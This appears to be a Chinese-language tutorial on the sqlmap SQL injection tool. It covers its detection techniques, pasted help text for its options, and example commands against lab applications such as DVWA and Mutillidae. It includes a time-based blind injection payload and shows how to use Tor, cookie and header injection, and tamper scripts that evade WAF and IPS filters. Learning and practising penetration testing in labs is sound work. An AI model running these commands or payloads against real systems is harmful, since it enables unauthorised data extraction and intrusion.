SQLMAP
特点
- 开源sql注入漏洞监测、利用的工具
- 检测动态页面中get/post 参数、cookie、http头
- 数据榨取
- 文件系统访问
- 操作系统命令执行
- 引擎强大、特性丰富
- XSS漏洞检测
五种漏洞监测技术
- 基于布尔的盲注检测
- 基于时间的盲注检测
'and (select * from (select(sleep(20)))a)--+
- 基于错误的检测
- 基于union联合查询的检测
适用于通过for循环直接输出联合查询结果,否则只显示第一项结果 - 基于堆叠查询的检测
;堆叠多个查询语句
适用于非select的数据修改、删除的操作
SQLMAP参数介绍
- TARGET:
1
2
3
4
5
6
7
8
9
10
11
12Target:
At least one of these options has to be provided to define the
target(s)
-d DIRECT Connection string for direct database connection
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-x SITEMAPURL Parse target(s) from remote sitemap(.xml) file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file
Get方法1
2
3
4
5sqlmap -u "http://172.16.242.128/mutillidae/index.php?page=user-info.php&username=1&password=1&user-info-php-submit-button=View+Account+Details" -p username -f
(-p的意思就是只指定一个变量,-f就是查看数据库版本)
--user(就是查看数据库用户)
--dbs(目标数据库有什么库)
--schema(查看元数据库)
Post方法1
2
3
4使用http请求文件(brupsuite):sqlmap -r request.txt(使用burpsuite截断代理
并将截断的post中raw标签内的全部内容贴到request.txt文件,
不能有多余的空行,要和burpsuite中看到的一样)
使用brupsuite log文件:sqlmap -l log.txt(在burpsuite的option中开启log)
HTTPS1
sqlmap -u "http://1.1.1.1/a.php?id=1:8843" --force-ssl
扫描配置文件1
sqlmap -c sqlmap.conf
- REQUEST:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45Request:
These options can be used to specify how to connect to the target URL
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST
--param-del=PARA.. Character used for splitting parameter values
--cookie=COOKIE HTTP Cookie header value
--cookie-del=COO.. Character used for splitting cookie values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--user-agent=AGENT HTTP User-Agent header value
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--ignore-code=IG.. Ignore HTTP error code (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Test requests between two visits to a given safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit to extract anti-CSRF token
--force-ssl Force usage of SSL/HTTPS
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request (e.g.
"import hashlib;id2=hashlib.md5(id).hexdigest()")
数据端:–data1
2get/post 都适用
sqlmap -u "http://1.1.1.1/a.php" --date="user=1&password=1"-f
变量分隔符: –param-del1
2http://1.1.1.1/a.php?q=foo;id=1
sqlmap -u "http://1.1.1.1/a.php" --data="q=foo;id=1"--param-del
设置cookie:–cookie1
2
3要先登录过网站,然后在浏览器中获得相应的cookie
sqlmap -u "http://172.16.242.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=ad58bee7a7c5b3dcd7e26a24e4446e56"
检查cookie中的注入点,则要加上 --level 2(至少大于等于2)
user-agent:1
2
3--random-agent:使用这个参数,就会使用/usr/share/sqlmap/txt/user-agents.txt
这个字典来代替默认的user-agent
检查user-agent中的注入点,则要加上--level 3(至少大于等于3)
host头:1
2--host=""
检查host中的注入点,则要加上--level 5 (5为最高级别)
基于HTTP协议的身份验证1
2
3
4Basic
Digest
NTLM
sqlmap -u "http://1.1.1.1/a.php?id=1" --auth-type Basic --auth-cred "user:pass"
–auth-cert / –auth-file1
2
3--auth-file="ca.PEM"
含有私钥的PEM 格式证书文件
PEM格式的证书链文件
http(s) 代理1
2
3--proxy="http://127.0.0.1:8087"(代理服务器开启后的地址)
--proxy-cred="name:pass" (连接代理需要的身份验证)
--ignore-proxy(忽略系统级代理设置,通常用于扫描本地网络目标)
其他参数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15--delay (每次http(s)请求之间延迟时间,浮点数,单位为秒,默认无延迟)
--timeout(请求超时时间,浮点数,默认30s)
--retries(http(s)连接超时重试次数,默认3次)
--randomize(长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名)
例 sqlmap -u "http://1.1.1.1/a.php?id=100" --randomize='id'
(这样的话,每次id就会在100-999随机取,因为长度、类型都与原始值保持一致)
--scope(过滤日志内容,通过正则表达式筛选扫描对象)
例 sqlmap -l burp.log --scope="(www)?\.target\.(com | net | org)"
例 sqlmap -l 2.log --scope="(19)?\.169\.20\.(1 | 10 | 100)"
--safe-url / --safe-freq(检测和盲注阶段会产生大量失败请求,服务端可能会销毁session)
(每发送--safe-freq次注入请求后,发送一次正常请求)
--skip-urlencode(默认Get方法会对传输内容进行编码,某些web服务器不遵守RFC标准编码,使用原始字符提交数据)
--eval(每次请求前执行指定的python代码,每次请求更改或增加新的参数值(时间依赖、其他参数值依赖))
例 sqlmap -u "http://1.1.1.1/a.php?id=1&hash=111111111111111111" --eval=
"import hashlib;hash=hashlib.md5(id).hexdigest()"
- OPTIMIZATTION:
1
2
3
4
5
6
7
8Optimization:
These options can be used to optimize the performance of sqlmap
-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)
-o开启下面三个性能呢参数,(除–threads参数)1
2
3
4--predict-output(根据检测方法,比对返回值和统计表内容,不断缩小检测范围,提高检测效率)
(检测版本名,用户名,密码,Privileges,role,数据库名称,表名,列名)
与--threads参数不兼容
统计表:/usr/share/sqlmap/txt/common-outputs.txt
1 | --keep-alive |
1 | --null-connection |
1 | --threads |
- INJECTION
1
2
3
4
5
6
7
8
9
10
11
12-p (指定扫描的参数,使--level失效)
-skip(排除指定的扫描参数)
--dbms="mysql"(指定数据库管理系统版本)
--os(指定操作系统 linux或window)
--invalid-bignum / --invalid-logical (通常sqlmap使用负值使参数取值失效 id=13->id=-13)
(bignum使用大数使参数值失效 id=9999999999)
(logical使用布尔判断使取值失效 id=13 AND 18=19)
--no-escape(处于混淆和避免出错的目的,payload中用单引号界定字符串时
sqlmap使用char()编码逃逸的方法替换字符串)
--tamper(混淆脚本,用于绕过应用层过滤,IPS,WAF)
sqlmap -u "http://1.1.1.1/a.php?id=1" --tamper="between.py,randomcase.py"
具体目录(/usr/share/sqlmap/tamper)
暂时就介绍这么多,sqlmap还有很多参数,可以用命令sqlmap -hh
查看